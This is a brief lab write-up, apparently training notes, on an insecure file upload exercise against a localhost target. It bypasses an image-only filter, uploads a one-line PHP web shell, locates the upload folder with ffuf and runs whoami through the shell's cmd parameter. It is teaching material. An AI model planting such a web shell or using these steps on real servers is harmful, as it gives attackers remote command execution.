# Insecure file upload 0x01

The page only accept jpg and png

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Foz3uMGcGxglZU8c3vrbx%2Fimage.png?alt=media&#x26;token=7f51b167-4ade-41af-8f6d-7e17a46dbf14" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FmCuwCDFV3OX64FxUozBu%2Fimage.png?alt=media&#x26;token=ffb31022-8248-4176-93f4-74c8cff858d4" alt=""><figcaption></figcaption></figure>

when we deleted the png data and change it to hello there

we also change the tcm-logo.png to tcm-logo.txt

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F2dkWvWD9fl9ZjEjyY3V3%2Fimage.png?alt=media&#x26;token=fc1477d5-a67a-4c23-9925-0700f6ed1db3" alt=""><figcaption></figcaption></figure>

We successfully get the result txt

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F5IhaZyEvnWi6KiOZsWXQ%2Fimage.png?alt=media&#x26;token=be4461d4-8333-44ee-a844-ac0b9de1ee04" alt=""><figcaption></figcaption></figure>

Then we change the file name and extension

from tcm-logo.txt to cmd.php

with this line of code that we can get the cmd side

```
<?php system($_GET['cmd']); ?>
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FXZO0YmoeTnAYwrGfRVTT%2Fimage.png?alt=media&#x26;token=680ed5d7-fda9-4fd6-a3cb-dbdb72af0789" alt=""><figcaption></figcaption></figure>

As we can see the cmd file is uploaded

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FhAn57bnZaC6m0U7jNT89%2Fimage.png?alt=media&#x26;token=74d53cfc-974b-4f87-a3eb-428434cedd21" alt=""><figcaption></figcaption></figure>

Now search where the file was uploaded

```
ffuf -u http://localhost/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F7EdHnUI3LeMlWoczvYXq%2Fimage.png?alt=media&#x26;token=9c9c3163-0834-45e7-82c3-a3b14a1046c9" alt=""><figcaption></figcaption></figure>

```
ffuf -u http://localhost/labs/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fp8ABd5gQFS9SmzpRoJyM%2Fimage.png?alt=media&#x26;token=fd485502-1433-4b59-ab38-f0079c7d93c1" alt=""><figcaption></figcaption></figure>

then just access the php file

```
http://localhost/labs/uploads/cmd2.php?cmd=whoami
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FInehZBUKWPdpr5gT9bGS%2Fimage.png?alt=media&#x26;token=d9e7be7e-7858-4eeb-99c8-d9aa4bc1b4a6" alt=""><figcaption></figcaption></figure>
